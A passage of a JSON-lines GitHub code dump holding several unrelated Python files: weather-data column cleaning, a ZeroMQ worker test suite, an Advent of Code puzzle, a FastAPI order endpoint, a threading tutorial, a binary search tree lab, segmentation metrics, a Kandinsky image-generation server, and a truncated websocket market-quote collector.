print(f\"{defined_col} column is unrecognized in {filename}, {args.defined_col} is also not exits in {filename}, therefor it cannot be rename to {defined_col} And it is also not match with any possible name\")\n else:\n possible_col_name = column_identifier(col_name, defined_col)\n if possible_col_name is not None:\n df.rename(columns={possible_col_name: defined_col}, inplace=True)\n else:\n if defined_col == \"Year [Local]\" or defined_col == \"Month [Local]\" or defined_col == \"Day [Local]\":\n if column_identifier(col_name, \"Date\") is not None:\n if df[column_identifier(col_name, \"Date\")].isna().count() > df.index.count() / 2:\n df[defined_col] = None\n else:\n pass\n else:\n print(\n f\"{defined_col} column is unrecognized in {filename}, {args.defined_col} is also not exits in {filename}, therefor it cannot be rename to {defined_col} And it is also not match with any possible name\")\n\n elif defined_col=='Date' or defined_col==\"Day of Year [Local]\":\n df[defined_col]=None\n else:\n print (f\"{defined_col} column is unrecognized in {filename}, please find the {defined_col} values column and rename it to {defined_col}\")\n else:\n pass\n df[\"Day of Year [Local]\"] = None\n col_name = df.columns.tolist()\n for col in col_name:\n if 'unname' in col.lower():\n df.drop([col], axis=1, inplace=True)\n else:\n pass\n for defined_col in col_name:\n try:\n if defined_col== \"Day [Local]\":\n if df[\"Day [Local]\"].isna().count() > 0:\n if df[\"Date\"].isna().count() == 0:\n df[\"Date\"] = pd.to_datetime(df[\"Date\"], errors=\"coerce\")\n df[\"Day [Local]\"] = df[\"Date\"].dt.day\n else:\n df[\"Date\"] = pd.to_datetime(df[\"Date\"], errors=\"coerce\")\n df.loc[df[\"Day [Local]\"].isna(), \"Day [Local]\"]= df[\"Date\"].dt.day\n df[\"Day [Local]\"] = pd.to_numeric(df[\"Day [Local]\"], errors='coerce')\n if df[\"Day [Local]\"].max() > 31:\n print(f\"The {defined_col} column in {filename} has values greater than 31 that is due to some error or wrong column name\")\n else:\n pass\n elif defined_col == \"Month [Local]\":\n if df[\"Month [Local]\"].isna().count() > 0:\n if df[\"Date\"].isna().count() == 0:\n df[\"Date\"] = pd.to_datetime(df[\"Date\"], errors=\"coerce\")\n df[\"Month [Local]\"] = df[\"Date\"].dt.month\n else:\n df[\"Date\"] = pd.to_datetime(df[\"Date\"], errors=\"coerce\")\n df.loc[df[\"Month [Local]\"].isna(), \"Month [Local]\"]= df[\"Date\"].dt.month\n df[\"Month [Local]\"] = pd.to_numeric(df[\"Month [Local]\"], errors='coerce')\n if df[\"Month [Local]\"].max() > 12:\n print(f\"The {defined_col} column in {filename} has values greater than 31 that is due to some error or wrong column name\")\n else:\n pass\n elif defined_col == \"Year [Local]\":\n if df[\"Year [Local]\"].isna().count() > 0:\n if df[\"Date\"].isna().count() > 0:\n p_year = re.split(r'[_\\n\\t\\f\\v\\r ]+', filename)\n for sub_string in p_year:\n integers = re.sub(r'[^0-9]', '', sub_string)\n if len(integers) == 4 and int(integers) > 2010 and int(integers) < 2100:\n df[\"Year [Local]\"] = integers\n break\n else:\n pass\n else:\n df[\"Date\"] = pd.to_datetime(df[\"Date\"], errors=\"coerce\")\n df[\"Year [Local]\"] = df[\"Date\"].dt.year\n df[\"Year [Local]\"] = pd.to_numeric(df[\"Year [Local]\"], errors='coerce')\n if df[\"Year [Local]\"].max() > 2100:\n print(f\"The {defined_col} column in {filename} has values greater than 31 that is due to some error or wrong column name\")\n else:\n pass\n elif defined_col == \"Date\":\n if df[\"Date\"].isna().count() > 0:\n df[\"Date\"] = df[\"Year [Local]\"].apply(str) + \"/\" + df[\"Month [Local]\"].apply(str) + \"/\" + df[\n \"Day [Local]\"].apply(str)\n df[\"Date\"] = pd.to_datetime(df[\"Date\"], errors=\"coerce\")\n else:\n df[\"Date\"] = pd.to_datetime(df[\"Date\"], errors=\"coerce\")\n elif defined_col == \"Day of Year [Local]\":\n df[\"Day of Year [Local]\"] = pd.to_numeric(df[\"Day of Year [Local]\"], errors='coerce')\n if df[\"Day of Year [Local]\"].isna().count() > 0:\n if df[\"Date\"].isna().count() > 0:\n df[\"Date\"] = df[\"Year [Local]\"].apply(str) + \"/\" + df[\"Month [Local]\"].apply(str) + \"/\" + df[\n \"Day [Local]\"].apply(str)\n df[\"Date\"] = pd.to_datetime(df[\"Date\"], errors=\"coerce\")\n df [\"Day of Year [Local]\"] = df [\"Date\"].dt.dayofyear\n else:\n df[\"Date\"] = pd.to_datetime(df[\"Date\"], errors=\"coerce\")\n df [\"Day of Year [Local]\"] = df [\"Date\"].dt.dayofyear\n else:\n pass\n if df[\"Day of Year [Local]\"].max() > 366:\n print(\n f\"The {defined_col} column in {filename} has values greater than 366 that is due to some error or wrong column name\")\n else:\n pass\n elif defined_col == \"Relative Humidity [%]\":\n df[\"Relative Humidity [%]\"] = pd.to_numeric(df[\"Relative Humidity [%]\"], downcast='float',\n errors='coerce')\n df.loc[(df[\"Relative Humidity [%]\"] < 0) | (\n df[\"Relative Humidity [%]\"] > 100), \"Relative Humidity [%]\"] = \" \"\n elif defined_col == \"Solar Radiation [W/m2]\":\n df[\"Solar Radiation [W/m2]\"] = pd.to_numeric(df[\"Solar Radiation [W/m2]\"], downcast='float',\n errors='coerce')\n df.loc[(df[\"Solar Radiation [W/m2]\"] < 0), \"Solar Radiation [W/m2]\"] = \" \"\n elif defined_col == \"Rainfall [mm]\":\n df[\"Rainfall [mm]\"] = pd.to_numeric(df[\"Rainfall [mm]\"], downcast='float', errors='coerce')\n df.loc[(df[\"Rainfall [mm]\"] < 0), \"Rainfall [mm]\"] = \" \"\n elif defined_col == \"Wind Direction [degrees]\":\n df[\"Wind Direction [degrees]\"] = pd.to_numeric(df[\"Wind Direction [degrees]\"], downcast='float',\n errors='coerce')\n df.loc[(df[\"Wind Direction [degrees]\"] < 0) | (\n df[\"Wind Direction [degrees]\"] > 360), \"Wind Direction [degrees]\"] = \" \"\n else:\n pass\n except Exception as E:\n print(f\"The following column {defined_col} of {filename} is not converted properly due to {E}\")\n\n df.to_csv (os.path.abspath(os.path.join(Output_dir, os.path.basename(filename))), index = None)\n\n","repo_name":"HasnatJutt/CLImate-for-Maize-OMICS_CLIM4OMICS-Analytics-and-Database","sub_path":"File Control/Environment/code/Weather_Primary_Secondary_Control.py","file_name":"Weather_Primary_Secondary_Control.py","file_ext":"py","file_size_in_byte":21754,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"2704921878","text":"import os\nimport unittest\nimport time\nimport threading\n\nimport zmq\n\nimport motherbrain.tests\n\nfrom motherbrain.workers import MBWorker, \\\n DispatcherDoesNotExist\n\nfrom motherbrain.com import ZmqObject\nfrom motherbrain.com.messages import MBMessage\n\n\n_ACTION_MODULE = \"\"\"\nfrom motherbrain.workers import OperationalError\n\ndef action_foo(context, first_arg=None):\n x = first_arg\n\n return x * 2\naction_foo.is_action = True\n\ndef action_bar(context, first_arg=None, second_arg=None):\n x = first_arg\n y = second_arg\n z = context.get('multiplier')\n\n return (x + y) * z\naction_bar.is_action = True\n\ndef fail_action(context, foo=None):\n return foo / 0\nfail_action.is_action = True\n\ndef op_action(context, foo=None):\n raise OperationalError('You are too ugly.')\nop_action.is_action = True\n\"\"\"\n\n\nclass MBTestWorker(MBWorker):\n def _on_recv(self, zmq_msg):\n super(MBTestWorker, self)._on_recv(zmq_msg)\n\n self.ioloop.add_timeout(time.time() + 1,\n lambda: self.ioloop.stop())\n\n\nclass TestWorker(unittest.TestCase):\n def setUp(self):\n self.module_filename = 'tests/workers_action.py'\n\n with open(self.module_filename, 'w') as f:\n f.write(_ACTION_MODULE)\n\n import motherbrain.tests.workers_action\n\n self.module = motherbrain.tests.workers_action\n self.addr = 'tcp://*:5555'\n self.worker = MBTestWorker(self.module, self.addr)\n\n def tearDown(self):\n os.unlink(self.module_filename)\n\n try:\n os.unlink('{}c'.format(self.module_filename))\n except:\n pass\n\n def testActionBinding(self):\n worker = self.worker\n\n self.assertTrue(worker.has_action('action_foo'))\n self.assertTrue(worker.has_action('action_bar'))\n self.assertTrue(worker.has_action('fail_action'))\n self.assertFalse(worker.has_action('baz_action'))\n\n def testDispatchException(self):\n worker = self.worker\n\n class FakeMsg(object):\n action = 'foo:bar'\n\n msg = FakeMsg()\n\n self.assertRaises(DispatcherDoesNotExist,\n worker._dispatch, msg)\n\n def testMessageDispatching(self):\n worker = self.worker\n\n msg = MBMessage('foo', 'action_foo', None, {'first_arg': 2}, {})\n\n result = worker._dispatch(msg)\n\n self.assertEqual(result, ('action_foo', 4))\n\n def testMessageDispatchingWithContext(self):\n worker = self.worker\n\n msg = MBMessage('foo', 'action_bar', None,\n {'first_arg': 2, 'second_arg': 3},\n {'multiplier': 6})\n\n result = worker._dispatch(msg)\n\n self.assertEqual(result, ('action_bar', 30))\n\n def testActionFailure(self):\n worker = self.worker\n\n msg = MBMessage('foo', 'fail_action', None, {'foo': 2}, {})\n\n result = worker._dispatch(msg)\n\n self.assertEqual(result, ('Exception',\n 'integer division or modulo by zero'))\n\n def testActionOperationalError(self):\n worker = self.worker\n\n msg = MBMessage('foo', 'op_action', None, {'foo': 2}, {})\n\n result = worker._dispatch(msg)\n\n self.assertEqual(result, ('OperationalError',\n 'You are too ugly.'))\n\n def test__on_recv(self):\n client = ZmqObject(['tcp://localhost:5555'], zmq.REQ)\n\n msg = MBMessage('foo', 'action_bar', None,\n {'first_arg': 2, 'second_arg': 3},\n {'multiplier': 6})\n\n zmq_msg = msg.to_json()\n\n worker = self.worker\n\n worker_thread = threading.Thread(target=worker.start)\n worker_thread.start()\n\n time.sleep(2)\n\n client.zmq_connect()\n client.zmq_send(zmq_msg)\n\n result = worker.decode_msg(client.zmq_recv())\n\n client.socket.close()\n\n self.assertEqual(result.payload, 30)\n\n\nif __name__ == '__main__':\n unittest.main()\n","repo_name":"urlist/urlist","sub_path":"motherbrain/tests/workers.py","file_name":"workers.py","file_ext":"py","file_size_in_byte":4002,"program_lang":"python","lang":"en","doc_type":"code","stars":18,"dataset":"github-code","pt":"19"} +{"seq_id":"5780735035","text":"from math import sqrt, floor\n\n\ndef get_presents_for_house(house):\n presents = 0\n born_sup = int(floor(sqrt(house))) + 1\n for i in range(1, born_sup):\n if house % i == 0:\n complement = house // i\n presents += i\n if complement != i:\n presents += complement\n return presents * 10\n\n\ndef find_smallest_house(target, count_presents):\n i = 0\n while True:\n i += 1\n if count_presents(i) >= target:\n return i\n\n\ndef solve(target):\n return find_smallest_house(target, get_presents_for_house)\n\n\ndef parse(file_name):\n with open(file_name, \"r\") as f:\n return int(f.readline().strip())\n\n\nif __name__ == '__main__':\n print(solve(parse(\"data.txt\")))\n","repo_name":"Moremar/advent_of_code_2015","sub_path":"day20/script1.py","file_name":"script1.py","file_ext":"py","file_size_in_byte":747,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"10373202491","text":"from DB import TableCard, TableProvider, TableProducts, engine, session\nfrom CustomerOperation.OrderFacade import OrderFacade\nfrom SubSystems.ShipmentSub import Shipment\nfrom SubSystems.PaymentSub import Payment\nfrom SubSystems.InventorySub import Stock\nfrom SubSystems.OrderingSub import Order\nfrom Models import CustomerModel\nfrom fastapi import FastAPI, HTTPException\n\napp = FastAPI()\n\n\nconnection = engine.connect()\n\n\n@app.post('/PostOrder')\ndef make_order(customer_data: CustomerModel):\n \"\"\"Shipment types:\n 'Nova poshta' for fastest delivery\n 'Ukr poshta' for cheapest delivery\n 'Meest' for normal delivery\n \"\"\"\n product_data = session.query(TableProducts).filter(TableProducts.product_name == customer_data.item).first()\n provider_data = session.query(TableProvider).filter(TableProvider.name == customer_data.shipment_type).first()\n card_data = session.query(TableCard).filter(TableCard.card_number == customer_data.card_number).first()\n if not product_data or not provider_data or not card_data:\n raise HTTPException(status_code=400, detail='Invalid input, try again')\n stock = Stock(customer_data.item, customer_data.amount, product_data.amount)\n shipment = Shipment(provider_data)\n order = Order(customer_data.item, customer_data.amount, product_data.price, shipment.define_price())\n payment = Payment(card_data.balance, order.total_price())\n facade = OrderFacade(order, stock, shipment, payment)\n status, message = facade.request()\n if status is False:\n raise HTTPException(status_code=400, detail=f'{message}')\n else:\n product_data.amount = stock.check_stock()\n card_data.balance = payment.update_balance()\n session.commit()\n return message","repo_name":"Finiik/Patterns-FEP-22","sub_path":"dmytryshyn/lab6/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1758,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"19"} +{"seq_id":"38685794120","text":"# -*- coding:utf-8 -*-\n# auto:刘小涵 时间:{2021/4/15}\nimport time\nimport threading\n\n\ndef test(something):\n print(f'我开始>>>{something}')\n time.sleep(2)\n print(f'我结束>>>{something}')\n\n\n\"\"\"\n场景:\n 1- IO密集型,如sleep,requests,socket\n 2- \n\"\"\"\nif __name__ == '__main__':\n start_time = time.time()\n # 创建线程,threading.Thread(target=,args=),\n # target=指带定义的线程要做的事情是什么,一般是一个函数或者方法,只能传递函数名\n # args=这个函数或者方法需要传入的参数,是一个元组类型\n t1 = threading.Thread(target=test, args=('上课',))\n t2 = threading.Thread(target=test, args=('喝水',))\n # test('上课')\n # test('喝水')\n # 启动线程\n t1.start()\n t2.start()\n #主线程执行的时候,并没有去等待子线程t1,t2执行完成,希望主线程退出前,检查下子线程是否运行完,子线程运行完,主线程再退出\n t1.join()\n t2.join()\n end_time = time.time()\n print(f'耗时>>>{end_time - start_time}')\n","repo_name":"beiyuanqian/python_learning","sub_path":"test_development/pythonBasic/day2-扫描工具/多线程技术/多线程技术.py","file_name":"多线程技术.py","file_ext":"py","file_size_in_byte":1081,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"5102080407","text":"#!/usr/bin/python3\n# -*- coding: utf-8 -*-\n\nimport unittest\nfrom parser import XPEGParser\n\nknown_values = [\n ('<expression> = number', None)\n]\n\n\nclass KnownValues(unittest.TestCase):\n\n def test_evaluate_known_values(self):\n '''\n Check if parse() function in XPEGParser return an\n expected value\n '''\n grammar_parser = XPEGParser()\n for expression, expected in known_values:\n returned = grammar_parser.parse(expression, True)\n self.assertEqual(expected, returned)\n \n def test_bootstraping_grammar(self):\n with open('xpeg.grammar') as f:\n grammar_parser = XPEGParser()\n returned = grammar_parser.parse(f.read(), True)\n self.assertEqual(None, returned)\n\nif __name__ == '__main__':\n unittest.main()","repo_name":"pombreda/XPEG","sub_path":"xpeg/xpeg_tests.py","file_name":"xpeg_tests.py","file_ext":"py","file_size_in_byte":819,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"15022321425","text":"'''\nรู้จักกับ Binary Search Tree\n\nให้น้องรับ input แล้วนำ input นั้นมาสร้าง Binary Search Tree โดย input ตัวแรกสุดจะเป็น Root เสมอ\n'''\nclass Node:\n def __init__(self, data):\n self.data = data\n self.left = None\n self.right = None\n\n def __str__(self):\n return str(self.data)\n\n\nclass BST:\n def __init__(self):\n self.root = None\n\n def insert(self, data):\n newNode = Node(data) # store new Node\n if self.root is None: # first case\n self.root = newNode\n else: # others case\n currentNode = self.root\n while True:\n if data > currentNode.data: # add right branch\n if currentNode.right is None: # if case bottom right\n currentNode.right = newNode # assign right\n break\n currentNode = currentNode.right # point to next node\n\n elif data < currentNode.data: # add left branch\n if currentNode.left is None: # if case bottom left\n currentNode.left = newNode # assign left\n break\n currentNode = currentNode.left # point to next node\n\n return self.root # always return node\n\n def printTree(self, node, level=0):\n if node != None:\n self.printTree(node.right, level + 1)\n print(' ' * level, node)\n self.printTree(node.left, level + 1)\n\n\nT = BST()\ninp = [int(i) for i in input('Enter Input : ').split()]\nfor i in inp:\n root = T.insert(i)\nT.printTree(root)","repo_name":"ninksazerac/LabPython","sub_path":"Python/lab07_01.py","file_name":"lab07_01.py","file_ext":"py","file_size_in_byte":1719,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"74607802923","text":"import torch\nimport numpy as np\nfrom typing import Union, List, Tuple\n\n__all__ = ['SegmentationMetric', 'batch_pix_accuracy', 'batch_intersection_union',\n 'pixelAccuracy', 'intersectionAndUnion', 'hist_info', 'compute_score']\n\n\nclass SegmentationMetric(object):\n \"\"\"Computes pixAcc and mIoU metric scores\n \"\"\"\n \n def __init__(self, nclass, choice: str, filter_bg: bool) -> None:\n \"\"\"_summary_\n\n Args:\n nclass (int): The number of classes.\n choice (str): ['full', 'upper_lower', 'upper']\n \"\"\"\n super().__init__()\n self.nclass = nclass\n self.choice = choice\n self.filter_bg = filter_bg\n self.reset()\n \n def update(self, preds: Union[np.ndarray, List[np.ndarray], torch.Tensor, List[torch.Tensor]], labels: Union[np.ndarray, List[np.ndarray], torch.Tensor, List[torch.Tensor]]):\n \"\"\"Updates the internal evaluation result.\n \n Parameters\n ----------\n labels : 'NumpyArray' or list of `NumpyArray`\n The labels of the data.\n preds : 'NumpyArray' or list of `NumpyArray`\n Predicted values.\n \"\"\"\n \n def evaluate_worker(self, pred, label):\n if self.choice == 'full':\n correct, labeled = batch_pix_accuracy(pred, label, self.filter_bg) # based on the level of pixels\n inter, union = batch_intersection_union(pred, label, self.nclass, self.filter_bg)\n elif self.choice == 'upper_lower' or self.choice == 'upper':\n correct, labeled = batch_pix_accuracy_upper_lower_clothes(pred, label, self.filter_bg, self.choice) # based on the level of pixels\n inter, union = batch_intersection_union_upper_lower_clothes(pred, label, self.nclass, self.filter_bg, self.choice)\n \n self.total_correct += correct\n self.total_label += labeled\n if self.total_inter.device != inter.device:\n self.total_inter = self.total_inter.to(inter.device)\n self.total_union = self.total_union.to(union.device)\n self.total_inter += inter\n self.total_union += union\n \n return correct, labeled, inter, union\n \n if isinstance(preds, torch.Tensor):\n self.current_correct, self.current_label, self.current_inter, self.current_union = evaluate_worker(self, preds, labels)\n elif isinstance(preds, (list, tuple)):\n for index, (pred, label) in enumerate(zip(preds, labels)):\n if index == 0:\n self.current_correct, self.current_label, self.current_inter, self.current_union = evaluate_worker(self, pred, label)\n else:\n evaluate_worker(self, pred, label)\n \n def get(self) -> Tuple[float, float]:\n \"\"\"Gets the all evaluation results for test sets.\n \"\"\"\n pixAcc = 1.0 * self.total_correct / (2.220446049250313e-16 + self.total_label) # remove np.spacing(1)\n IoU = 1.0 * self.total_inter / (2.220446049250313e-16 + self.total_union)\n mIoU = IoU.mean().item()\n return pixAcc, mIoU\n \n def get_current(self) -> Tuple[float, float]:\n \"\"\"Gets the current evaluation results for each step\n\n Returns:\n Tuple[float, float]: pixAcc, mIoU for each step\n \"\"\"\n current_pixAcc = 1.0 * self.current_correct / (2.220446049250313e-16 + self.current_label) # remove np.spacing(1)\n current_IoU = 1.0 * self.current_inter / (2.220446049250313e-16 + self.current_union)\n current_mIoU = current_IoU.mean().item()\n return current_pixAcc, current_mIoU\n \n def reset(self):\n \"\"\"Resets the internal evaluation result to initial state.\n \"\"\"\n if self.choice == 'full':\n self.total_inter = torch.zeros(self.nclass)\n self.total_union = torch.zeros(self.nclass)\n \n self.current_inter = torch.zeros(self.nclass) # current_step\n self.current_union = torch.zeros(self.nclass)\n \n elif self.choice == 'upper_lower':\n self.total_inter = torch.zeros(2)\n self.total_union = torch.zeros(2)\n \n self.current_inter = torch.zeros(2)\n self.current_union = torch.zeros(2)\n elif self.choice == 'upper':\n self.total_inter = torch.zeros(1)\n self.total_union = torch.zeros(1)\n \n self.current_inter = torch.zeros(1)\n self.current_union = torch.zeros(1)\n \n self.total_correct = 0\n self.total_label = 0\n \n # current step \n self.current_correct = 0\n self.current_label = 0\n \n# pytorch version\ndef batch_pix_accuracy(output: torch.Tensor, target: torch.Tensor, filter_bg: bool):\n \"\"\"PixAcc\n\n Args:\n output (_type_): 4D Tensor\n target (_type_): 3D Tensor\n \"\"\"\n predict = torch.argmax(output.long(), 1) + 1\n target = target.long() + 1 # why + 1\n \n pixel_labeled = torch.sum(target > 0).item() if not filter_bg else torch.sum(target > 1).item()\n pixel_correct = torch.sum((predict == target) * (target > 0)).item() if not filter_bg else torch.sum((predict == target) * (target > 1)).item() # predict > 0\n assert pixel_correct <= pixel_labeled, \"Correct are should be smaller than label\"\n\n return pixel_correct, pixel_labeled\n\n\ndef batch_pix_accuracy_upper_lower_clothes(output: torch.Tensor, target: torch.Tensor, filter_bg: bool, upper_lower_choice: str):\n \"\"\"Cal the pixel accuracy for upper and lower clothes, upper clothes.\n\n Args:\n output (torch.Tensor): 4D Tensor\n target (torch.Tensor): 3D Tensor\n upper_lower_choice(str): 'upper_lower', 'upper'\n \"\"\"\n predict = torch.argmax(output.long(), 1) + 1\n target = target.long() + 1 # why + 1\n \n if upper_lower_choice == 'upper_lower':\n part_indexes = [4, 6]\n elif upper_lower_choice == 'upper':\n part_indexes = [4]\n \n \n pixel_labeled = sum([torch.sum(target == index).item() for index in part_indexes])\n pixel_correct = sum([torch.sum((predict == target) * (target == index)).item() for index in part_indexes]) # predict > 0\n assert pixel_correct <= pixel_labeled, \"Correct are should be smaller than label\"\n\n return pixel_correct, pixel_labeled\n\n\ndef batch_intersection_union(output, target, nclass, filter_bg: bool):\n \"\"\"mIoU\n\n Args:\n output (_type_): 4D Tensor\n target (_type_): 3D Tensor\n nclass (int): The number of classes\n \"\"\"\n mini = 1\n maxi = nclass\n nbins = nclass\n predict = torch.argmax(output, 1) + 1\n target = target.float() + 1\n \n # import pdb; pdb.set_trace()\n \n predict = predict.float() * (target > 0).float() if not filter_bg else predict.float() * (target > 1).float()\n intersection = predict * (predict == target).float()\n # choose the values of related indexes\n area_inter = torch.histc(intersection.cpu(), bins=nbins, min=mini, max=maxi)\n area_pred = torch.histc(predict.cpu(), bins= nbins, min= mini, max= maxi)\n area_lab = torch.histc(target.cpu(), bins= nbins, min=mini, max=maxi) if not filter_bg else torch.histc(target.cpu()[target> 1], bins= nbins, min=mini, max=maxi)\n area_union = area_pred + area_lab - area_inter\n assert torch.sum(area_inter > area_union).item() == 0, \"Intersection area should be smaller than Union area\"\n return area_inter.float(), area_union.float()\n\n\ndef batch_intersection_union_upper_lower_clothes(output, target, nclass, filter_bg: bool, upper_lower_choice: str):\n \"\"\"mIoU\n\n Args:\n output (_type_): 4D Tensor\n target (_type_): 3D Tensor\n nclass (int): The number of classes\n upper_lower_choice(str): 'upper_lower', 'upper'\n \"\"\"\n mini = 1\n maxi = nclass\n nbins = nclass\n predict = torch.argmax(output, 1) + 1\n target = target.float() + 1\n \n if upper_lower_choice == 'upper_lower':\n part_indexes = [3, 5]\n elif upper_lower_choice == 'upper':\n part_indexes = [3]\n \n # import pdb; pdb.set_trace()\n \n predict = predict.float() * (target > 0).float()\n intersection = predict * (predict == target).float()\n # choose the values of related indexes\n area_inter = torch.histc(intersection.cpu(), bins=nbins, min=mini, max=maxi)[part_indexes]\n area_pred = torch.histc(predict.cpu(), bins= nbins, min= mini, max= maxi)[part_indexes]\n area_lab = torch.histc(target.cpu(), bins= nbins, min=mini, max=maxi)[part_indexes]\n area_union = area_pred + area_lab - area_inter\n assert torch.sum(area_inter > area_union).item() == 0, \"Intersection area should be smaller than Union area\"\n return area_inter.float(), area_union.float()","repo_name":"zylwithxy/PISE_modified","sub_path":"util/segmentation_score.py","file_name":"segmentation_score.py","file_ext":"py","file_size_in_byte":8827,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"25873219377","text":"from flask import request, jsonify\r\n\r\nfrom app import app\r\nfrom models import Project\r\nfrom routes.required_route import required_route\r\nfrom init_db import db\r\n\r\n\r\n@app.route(\"/project/create\", methods=[\"POST\"])\r\n@required_route(cookie=True)\r\ndef create(id, *args, **kwargs):\r\n title = request.json[\"title\"]\r\n\r\n new_project = Project(title=title, user_id=id)\r\n\r\n db.session.add(new_project)\r\n db.session.commit()\r\n \r\n return jsonify({\"status\": \"ok\"}), 200\r\n\r\n\r\n@app.route(\"/project\", methods=[\"GET\"])\r\n@required_route(cookie=True)\r\ndef get(id, *args, **kwargs):\r\n\r\n projects = Project.query.filter_by(user_id=id).all()\r\n \r\n r = []\r\n\r\n for p in projects:\r\n r.append({\"id\": p.id, \"title\": p.title})\r\n\r\n return jsonify(r), 200\r\n","repo_name":"jorniklenderlyn/CPwebapp","sub_path":"server/routes/project.py","file_name":"project.py","file_ext":"py","file_size_in_byte":766,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"15842410963","text":"import os, time\nfrom types import SimpleNamespace\nimport zmq\nimport zlib\nimport pickle\nimport torch.multiprocessing as mp\nimport threading\nimport cv2\nfrom kandinsky2 import get_kandinsky2\nimport uuid\n\nQUEUE_SIZE = mp.Value('i', 0)\n\ndef compress(obj):\n p = pickle.dumps(obj)\n return zlib.compress(p)\n\n\ndef decompress(pickled):\n p = zlib.decompress(pickled)\n return pickle.loads(p)\n\n\nTOPIC = 'snaptravel'\nprediction_functions = {}\n\nRECEIVE_PORT = 5556 #os.getenv(\"RECEIVE_PORT\")\nSEND_PORT = 5555 #os.getenv(\"SEND_PORT\")\n\nmodel = get_kandinsky2('cuda', task_type='text2img')\n\ndef _parse_recv_for_json(result, topic=TOPIC):\n compressed_json = result[len(topic) + 1:]\n return decompress(compressed_json)\n\ndef _decrease_queue():\n with QUEUE_SIZE.get_lock():\n QUEUE_SIZE.value -= 1\n\ndef _increase_queue():\n with QUEUE_SIZE.get_lock():\n QUEUE_SIZE.value += 1\n \ndef send_prediction(message, result_publisher, topic=TOPIC):\n _increase_queue()\n model_name = message['model']\n body = message['body']\n id = message['id']\n # Выполнение дифузии\n #result = {\"result\": None}\n images = model.generate_text2img(str(body), \n batch_size=1, h=512, w=512, num_steps=75, \n denoised_type='dynamic_threshold', dynamic_threshold_v=99.5, \n sampler='ddim_sampler', ddim_eta=0.05, guidance_scale=10)\n result = {\"result\": images}\n\n if result.get('result') is None:\n time.sleep(1)\n compressed_message = compress({'error': True, 'error_msg': 'No result was given: ' + str(result), 'id': id})\n result_publisher.send(f'{topic} '.encode('utf8') + compressed_message)\n _decrease_queue()\n return\n \n \n prediction = result['result']\n\n compressed_message = compress({'prediction': prediction, 'id': id})\n result_publisher.send(f'{topic} '.encode('utf8') + compressed_message)\n _decrease_queue()\n print (\"SERVER\", message, f'{topic} '.encode('utf8'))\n\ndef queue_size():\n return QUEUE_SIZE.value\n\ndef load_models():\n models = SimpleNamespace()\n return models\n\ndef start():\n global prediction_functions\n\n models = load_models()\n prediction_functions = {\n 'queue': queue_size\n }\n\n print(f'Connecting to {RECEIVE_PORT} in server', TOPIC.encode('utf8'))\n context = zmq.Context()\n work_subscriber = context.socket(zmq.SUB)\n work_subscriber.setsockopt(zmq.SUBSCRIBE, TOPIC.encode('utf8'))\n work_subscriber.bind(f'tcp://127.0.0.1:{RECEIVE_PORT}')\n\n # send work\n print(f'Connecting to {SEND_PORT} in server')\n result_publisher = context.socket(zmq.PUB)\n result_publisher.bind(f'tcp://127.0.0.1:{SEND_PORT}')\n\n print('Server started')\n while True:\n message = _parse_recv_for_json(work_subscriber.recv())\n threading.Thread(target=send_prediction, args=(message, result_publisher), kwargs={'topic': TOPIC}).start()\n\nif __name__ == '__main__':\n start()\n","repo_name":"naturalkind/social-network","sub_path":"serv.py","file_name":"serv.py","file_ext":"py","file_size_in_byte":3000,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"19"} +{"seq_id":"8150049300","text":"from import_files import *\n\n\ndef get(ws, exchange, symbols, isShortIdentifiers):\n exg = exchange\n sym = symbols\n isi = isShortIdentifiers\n msgs = asyncio.get_event_loop().run_until_complete(mass_subscribe_n_stream(ws, exg, sym, isi))\n print(\"msgs: \", msgs)\n return msgs\n\n\nasync def mass_subscribe_n_stream(ws, exg, sym, isi):\n try:\n req_msg = str(\n '{\"MessageType\":\"GetLastQuoteArray\",\"Exchange\":\"' + exg + '\",\"isShortIdentifiers\":\"' + isi + '\",\"InstrumentIdentifiers\":' + str(\n sym) + '}')\n await ws.send(req_msg)\n print(\"Sending Request For: \" + req_msg)\n await get_msg(ws)\n except:\n return msg\n\n\nasync def get_msg(ws):\n while True:\n try:\n message = await ws.recv()\n except websockets.ConnectionClosedOK:\n break\n json_data = json.loads(message)\n print(\"message direct:\", json_data)\n\n if \"Result\" in json_data and isinstance(json_data[\"Result\"], list):\n current_time = datetime.now().strftime(\"%Y %m %d %H:%M:%S\")\n updated_time = datetime.now().strftime(\"%Y %m %d %H:%M:%S\")\n\n for item in json_data[\"Result\"]:\n item[\"current_time\"] = current_time\n item[\"updated_time\"] = updated_time\n item[\"id\"] = str(uuid.uuid4())\n\n existing_data = main_collection.find_one({\"InstrumentIdentifier\": item[\"InstrumentIdentifier\"]})\n\n if existing_data:\n main_collection.update_one(\n {\"InstrumentIdentifier\": item[\"InstrumentIdentifier\"]},\n {\"$set\": item}\n )\n else:\n main_collection.insert_one(item)\n\n historic_collection.insert_one(item)\n\n\ninstrumentidentifier4 = [{\"Value\": \"IPCALAB-I\"}, {\"Value\": \"IRCTC-I\"}, {\"Value\": \"ITC-I\"}, {\"Value\": \"JINDALSTEL-I\"},\n {\"Value\": \"JSWSTEEL-I\"},\n {\"Value\": \"JUBLFOOD-I\"}, {\"Value\": \"KOTAKBANK-I\"}, {\"Value\": \"LALPATHLAB-I\"},\n {\"Value\": \"LICHSGFIN-I\"}, {\"Value\": \"LT-I\"},\n {\"Value\": \"LTTS-I\"}, {\"Value\": \"LUPIN-I\"}, {\"Value\": \"M&M-I\"}, {\"Value\": \"M&MFIN-I\"},\n {\"Value\": \"MANAPPURAM-I\"},\n {\"Value\": \"MARICO-I\"}, {\"Value\": \"MARUTI-I\"}, {\"Value\": \"MCDOWELL-N-I\"},\n {\"Value\": \"METROPOLIS-I\"}, {\"Value\": 